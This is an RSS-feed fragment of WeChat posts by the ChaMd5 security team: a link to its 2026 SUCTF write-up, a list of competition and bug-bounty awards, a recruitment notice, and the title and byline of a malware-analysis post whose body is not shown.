UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(0, 0, 0);letter-spacing: 2px;visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">ChaMd5安全团队</span></span></strong></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;caret-color: rgb(0, 0, 0);letter-spacing: 2px;visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">将继续与平台一同进步，也</span></span></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 2px;caret-color: rgb(0, 0, 0);visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">欢迎更多的小伙伴加入我们哦！</span></span></p><pre data-tool="mdnice编辑器" style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: left;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin: 10px 0px;padding: 0px;" data-pm-slice="0 0 []"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">安全厂商漏洞提交</span><span leaf=""><br/></span><span leaf="">2025年喜马拉雅SRC年度第六名(kk)</span><span leaf=""><br/></span><span leaf="">2025年京东SRC年度第五名(Str1am_)健康隐私妙手</span><span leaf=""><br/></span><span leaf="">2025年京东SRC年度第八名(N4vol)</span><span leaf=""><br/></span><span leaf="">2025年京东SRC“优秀合作伙伴”称号</span><span leaf=""><br/></span><span leaf="">2024年荣获阿里云安全守护卫士</span><span leaf=""><br/></span><span leaf="">2024年京东SRC“优秀合作伙伴”称号和个人第四名(Str1am_)</span><span leaf=""><br/></span><span leaf="">2024年盘锦市演练优秀攻击队</span><span leaf=""><br/></span><span leaf="">2024年荣获某市局经侦支队感谢信</span><span leaf=""><br/></span><span leaf="">2024年荣获某市委网信办感谢信</span><span leaf=""><br/></span><span leaf="">2024年荣获国家计算机网络与信息安全管理中心辽宁分中心感谢信</span><span leaf=""><br/></span><span leaf="">2023年京东SRC个人第三名(Str1am_)</span><span leaf=""><br/></span><span leaf="">2023年补天总榜个人排名第十(r00t4dm)</span><span leaf=""><br/></span><span leaf="">2023年多点SRC年度第三(Cra5h)</span><span leaf=""><br/></span><span leaf="">2023年TCL年度第四(Cra5h)</span><span leaf=""><br/></span><span leaf="">2023年同程SRC个人年度第二(IT小丑)</span><span leaf=""><br/></span><span leaf="">2023年滴滴SRC个人年度第五(IT小丑)</span><span leaf=""><br/></span><span leaf="">2023年漏洞盒子团队第一季度 第三名</span><span leaf=""><br/></span><span leaf="">2023年漏洞盒子团队第三季度 第二名</span><span leaf=""><br/></span><span leaf="">2023年漏洞盒子团队第四季度 第三名</span><span leaf=""><br/></span><span leaf="">2023年大连网信办“连盾”第二名</span><span leaf=""><br/></span><span leaf="">2022年PSRC团队年度第三名</span><span leaf=""><br/></span><span leaf="">2022年BSRC团队年度第二名</span><span leaf=""><br/></span><span leaf="">2022年货拉拉获得”黄金轻卡“称号</span><span leaf=""><br/></span><span leaf="">2021年DSRC获得年度第三名</span><span leaf=""><br/></span><span leaf="">2021年BSRC获得年度第三名</span><span leaf=""><br/></span><span leaf="">2017-2020年DSRC(滴滴)年度安全团队第一名</span><span leaf=""><br/></span><span leaf="">2020年JSRC(京东)团队年度第二名</span><span leaf=""><br/></span><span leaf="">2020年BSRC(百度)第三名</span><span leaf=""><br/></span><span leaf="">2020年网易SRC团队年度第二名</span><span leaf=""><br/></span><span leaf="">2020年58SRC团队年度第二名</span><span leaf=""><br/></span><span leaf="">2020年字节跳动SRC团队年度第三名</span><span leaf=""><br/></span><span leaf="">2020年360SRC年度团队第二名</span><span leaf=""><br/></span><span leaf="">2020年TSRC(腾讯)年度合作伙伴奖</span><span leaf=""><br/></span><span leaf="">2019年JSRC(京东)团队年度第三名</span><span leaf=""><br/></span><span leaf="">2019年华为云2019年度团队二等奖、华为终端2019年度最具潜力奖</span><span leaf=""><br/></span><span leaf="">2019年MTSRC(美团)年度团队第二名</span><span leaf=""><br/></span><span leaf="">2019年ASRC(阿里)年度合作伙伴奖</span><span leaf=""><br/></span><span leaf="">2019年合肥市网络安全攻防演练大赛攻防演练赛 线下第八名</span><span leaf=""><br/></span><span leaf="">2019年BSRC(百度)年度第三名和校园年度第二名</span><span leaf=""><br/></span><span leaf="">2018年BSRC(百度)年度第二名</span><span leaf=""><br/></span><span leaf="">2017年BSRC(百度)优秀团队</span><span leaf=""><br/></span><span leaf="">CTF比赛</span><span leaf=""><br/></span><span leaf="">2025年第五届鹏城杯线上第九名</span><span leaf=""><br/></span><span leaf="">2025年DASCTF下半年赛 第四名</span><span leaf=""><br/></span><span leaf="">2025年CCF智能汽车大赛 三等奖</span><span leaf=""><br/></span><span leaf="">2025年DASCTF上半年赛 第八名</span><span leaf=""><br/></span><span leaf="">2025第一届OpenHarmonyCTF专题赛 第五名</span><span leaf=""><br/></span><span leaf="">2025年第八届封神台 第一名</span><span leaf=""><br/></span><span leaf="">2024年国城杯 线下第六名</span><span leaf=""><br/></span><span leaf="">2024DASCTF 暑假挑战赛 第一名</span><span leaf=""><br/></span><span leaf="">2024年矩阵杯 优胜奖</span><span leaf=""><br/></span><span leaf="">2024年举办第一届 VCTF 纳新赛</span><span leaf=""><br/></span><span leaf="">2023年中华武数杯 三等奖</span><span leaf=""><br/></span><span leaf="">2023年NCTF 第八名</span><span leaf=""><br/></span><span leaf="">2022年第五届强网拟态 第九名</span><span leaf=""><br/></span><span leaf="">2022年安洵杯 第七名</span><span leaf=""><br/></span><span leaf="">2021年第四届强网拟态 第一名</span><span leaf=""><br/></span><span leaf="">2021年长安杯总决赛一等奖</span><span leaf=""><br/></span><span leaf="">2021年巅峰极客 第一名</span><span leaf=""><br/></span><span leaf="">2020年“祥云杯”线上第三名</span><span leaf=""><br/></span><span leaf="">2020年GeekPwn云靶场挑战赛第八名</span><span leaf=""><br/></span><span leaf="">2020年线上网鼎杯“青龙组“第五名</span><span leaf=""><br/></span><span leaf="">2019年“湖湘杯”网络安全技能大赛线下第四名</span><span leaf=""><br/></span><span leaf="">2019年XPpwnCTF第五名</span><span leaf=""><br/></span><span leaf="">2019年SUCTF 线上第三名</span><span leaf=""><br/></span><span leaf="">2019年第三届“红帽杯”网络安全攻防大赛 线上社会网安第五名</span><span leaf=""><br/></span><span leaf="">工控比赛</span><span leaf=""><br/></span><span leaf="">2022年之江杯第五名&amp;内生安全贡献荣誉奖</span><span leaf=""><br/></span><span leaf="">2020年之江杯第一名</span><span leaf=""><br/></span><span leaf="">2018年赛博地球杯工业互联网安全大赛线下总排名 第二名</span><span leaf=""><br/></span><span leaf="">IoT比赛</span><span leaf=""><br/></span><span leaf="">2024年第七届“强网”拟态防御国际精英挑战赛—低空经济赛道三等奖（第五名）</span><span leaf=""><br/></span><span leaf="">2023年DataCon漏洞分析赛道第三名</span><span leaf=""><br/></span><span leaf="">2022年DataCon物联网安全第四名</span><span leaf=""><br/></span><span leaf="">2020年西湖论剑IOT挑战赛第一名</span><span leaf=""><br/></span><span leaf="">2019年360SRC48小时IoT破解大赛第四名</span><span leaf=""><br/></span><span leaf="">AI比赛</span><span leaf=""><br/></span><span leaf="">2025年LLM指令遵循攻防赛第一名</span><span leaf=""><br/></span><span leaf="">2025年DataCon AI三等奖</span><span leaf=""><br/></span><span leaf="">2024年DataCon AI第四名</span><span leaf=""><br/></span><span leaf="">2024年ByteAI安全挑战赛决赛第十名</span><span leaf=""><br/></span><span leaf="">2022年2022 CCF BDCI 竞技赛单赛题决赛 基于TPU平台实现人群密度估计 二等奖</span><span leaf=""><br/></span><span leaf="">2022年字节安全AI挑战赛 第四名</span><span leaf=""><br/></span><span leaf="">2021年iFLYTEK.AI 第十名</span><span leaf=""><br/></span><span leaf="">2020年BCTF AI PWN第六名</span><span leaf=""><br/></span><span leaf="">2019年强网杯AI 第十名</span><span leaf=""><br/></span><span leaf="">2019年BCTF RHG 人工智能第八名</span><span leaf=""><br/></span><span leaf="">车联网</span><span leaf=""><br/></span><span leaf="">2025年首届CCF智能汽车大赛线上第一名、线下三等奖</span><span leaf=""><br/></span><span leaf="">2024Block Harbor VicOne Automotive CTF 线上 第六名</span><span leaf=""><br/></span><span leaf="">2024年Super CS车联网安全攻防挑战赛线下 优胜奖</span><span leaf=""><br/></span><span leaf="">2024年VSEC挑战赛二 第六名</span><span leaf=""><br/></span><span leaf="">2023年CIICV车联网（智能网联汽车）漏洞挖掘挑战赛 优胜奖</span><span leaf=""><br/></span><span leaf="">2023年WIDC世界智能驾驶挑战赛 线上第二名</span><span leaf=""><br/></span><span leaf="">2022 第二届创安杯智能汽车信息安全公开赛 线上第九名</span><span leaf=""><br/></span><span leaf="">2022 CICV 智能网联汽车漏洞挖掘赛 线下一等奖</span><span leaf=""><br/></span><span leaf="">2022 CICV智能网联汽车漏洞挖掘赛 线上三等奖</span><span leaf=""><br/></span><span leaf="">2021年第二届中国智能网联汽车大赛“天融信杯“ 铜奖</span><span leaf=""><br/></span><span leaf="">2021年世界智能驾驶挑战赛 铜奖</span><span leaf=""><br/></span><span leaf="">区块链</span><span leaf=""><br/></span><span leaf="">2024年磐石安全实验室-FishCake项目审计竞赛第一</span><span leaf=""><br/></span><span leaf="">2023年MetaTrustCTF 参与命题</span><span leaf=""><br/></span><span leaf="">2023年NumenCTF 第十四名</span><span leaf=""><br/></span><span leaf="">团队书</span><span leaf=""><br/></span><span leaf="">2025年机械工业出版社合作伙伴“共生奖”</span><span leaf=""><br/></span><span leaf="">《ARM 汇编与逆向工程：蓝狐篇 基础知识》 荣获机械工业出版社“2024年度优秀图书奖”称号</span><span leaf=""><br/></span><span leaf="">《x86 汇编与逆向工程：软件破解与防护的艺术》 荣获机械工业出版社“2024年度优秀图书奖”称号</span><span leaf=""><br/></span><span leaf="">团队书籍列表</span><span leaf=""><br/></span><span leaf="">《CTF实战：技术、解题与进阶》</span><span leaf=""><br/></span><span leaf="">《物联网漏洞挖掘与利用》</span><span leaf=""><br/></span><span leaf="">《ARM汇编与逆向工程》</span><span leaf=""><br/></span><span leaf="">《x86软件逆向工程》</span><span leaf=""><br/></span><span leaf="">《汽车网络安全工程》</span><span leaf=""><br/></span><span leaf="">《红队实战指南 AI驱动的渗透测试》</span></code></pre><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><a href="https://github.com/ChaMd5Team/Venom-WP/blob/main/2026-SUCTF-WriteUp.pdf" target="_blank">https://github.com/ChaMd5Team/Venom-WP/blob/main/2026-SUCTF-WriteUp.pdf</a></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" nodeleaf=""><img data-aistatus="1" alt="图片" class="__bg_gif rich_pages wxw-img" data-ratio="1" data-type="gif" data-w="640" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;display: block;visibility: visible !important;width: 38px !important;" data-width="100%" data-imgfileid="100027087" src="https://wechat2rss.xlab.app/img-proxy/?k=a43983f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FPUubqXlrzBRH2vOmzbCqYb35uicIicQcxDYmXzZRoiaM7vy41cjBXmbWys0xiadJ2zwYG6ODyDjjBafPDDCDWJCVbg%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1%26tp%3Dwebp%23imgIndex%3D1"/></p><p line="89Rf" style="margin: 0px;padding: 0px;outline: currentcolor;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-variant-ligatures: normal;font-variant-alternates: normal;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-position: normal;font-variant-emoji: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);color: rgb(73, 73, 73);font-size: 11pt;text-align: center;visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">更多 Writeup 详情</span></p><p line="89Rf" style="margin: 0px;padding: 0px;outline: currentcolor;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-variant-ligatures: normal;font-variant-alternates: normal;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-position: normal;font-variant-emoji: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);color: rgb(73, 73, 73);font-size: 11pt;text-align: center;visibility: visible;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">查看以下链接或点击文末阅读原文</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;clear: both;min-height: 1em;color: rgb(0, 0, 0);font-size: medium;caret-color: rgb(34, 34, 34);font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;" nodeleaf=""><img alt="图片" class="rich_pages __bg_gif wxw-img" data-aistatus="1" data-imgfileid="100027086" data-ratio="1" data-s="300,640" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;visibility: visible !important;width: 149px !important;" data-type="gif" data-w="200" src="https://wechat2rss.xlab.app/img-proxy/?k=30a842b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FPUubqXlrzBRH2vOmzbCqYb35uicIicQcxDR3lbWnKxpic9icIjYzbsJjISBQEicVFia5IOsHMULFVHiakxSAQSlj8cmVg%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1%26tp%3Dwebp%23imgIndex%3D2"/></p><div data-role="outer" label="Powered by 135editor.com" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;caret-color: rgb(34, 34, 34);font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);"><div data-role="paragraph" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-mpa-template="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 0px;border-style: none;border-color: initial;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=c1a3fffd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FkiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w%2F640%3Fwx_fmt%3Dgif&#34;);background-size: 100% auto;background-position: 0px center;background-repeat: no-repeat;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-weight: bold;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;vertical-align: inherit;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结束</span></span></p></div></div></div></div></div></div><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="margin: 20px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><div style="margin: 0px;padding: 10px 15px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">招新小广告</span></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">新成立组IOT+工控+样本分析 </span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 0.544px;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">长期招新</span></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎联系</span></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">admin@chamd5.org</span></span></p></div></div></div><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="margin: 20px 0px -30px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: right;transform: translate3d(16px, 0px, 0px);"><div style="margin: 0px;padding: 0px 0px 0px 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 315.719px;vertical-align: top;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="margin: -10px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;"><svg xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 536.1 59.2" style="vertical-align: middle;" width="536.1" role="img" aria-label="插图"><g><polygon points="533.5,3 518.7,19.1 503.1,1 486.9,18.6 471.3,0.5 455.1,18.1 439.5,0 422,19.1 424.6,21.5 439.4,5.3 455,23.4    471.2,5.8 486.8,23.9 503,6.3 518.6,24.4 536.1,5.4" fill="#000000"></polygon><g><polygon points="89.5,28.7 82.5,39.3 96.5,39.3" fill="#000000"></polygon><polygon points="68.9,28.7 61.9,39.3 75.9,39.3" fill="#000000"></polygon><polygon points="48.2,28.7 41.3,39.3 55.2,39.3" fill="#000000"></polygon><polygon points="27.6,28.7 20.6,39.3 34.6,39.3" fill="#000000"></polygon><polygon points="7,28.7 0,39.3 14,39.3" fill="#000000"></polygon></g><g><rect x="144.2" y="36.9" width="328.3" height="3.6" fill="rgb(233, 194, 89)"></rect></g><g><rect x="41.3" y="55.6" width="448.1" height="3.6" fill="#000000"></rect></g></g></svg></p></div></div></div></div></div></div></div></div></div><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;clear: both;min-height: 1em;background-color: rgb(255, 255, 255);text-align: center;" nodeleaf=""><img data-aistatus="1" alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="other" data-w="748" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);visibility: visible !important;width: 677px !important;" data-copyright="0" data-imgfileid="100028117" src="https://wechat2rss.xlab.app/img-proxy/?k=89af1f43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp%23imgIndex%3D3"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://github.com/ChaMd5Team/Venom-WP/blob/main/2026-SUCTF-WriteUp.pdf">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c29f52d5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247514199%26idx%3D1%26sn%3D23642f4e23ebda5d4e4288e85df33aa3">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 18 Mar 2026 08:03:00 +0800</pubDate>
    </item>
    <item>
      <title>多阶段Java Loader恶意样本分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247514194&amp;idx=1&amp;sn=e7aeaa96d2d65d137d22d5cbb3a73fb8</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>megaparsec</span> <span>2026-03-17 08:01</span> <span style="display: inline-block;">天津</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9829d00c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjvwqHfehg2PAFRYdl03lvNeBFPmZChmS9JyibTmp5x8HzO3zqBKUt6nAG07oIZiaIKMcGfYnmtMtMRShRFDz8OQQTjot5zVmyb1aJECD0u8t8%2F0%3Fwx_fmt%3Djpeg"/></p>
  
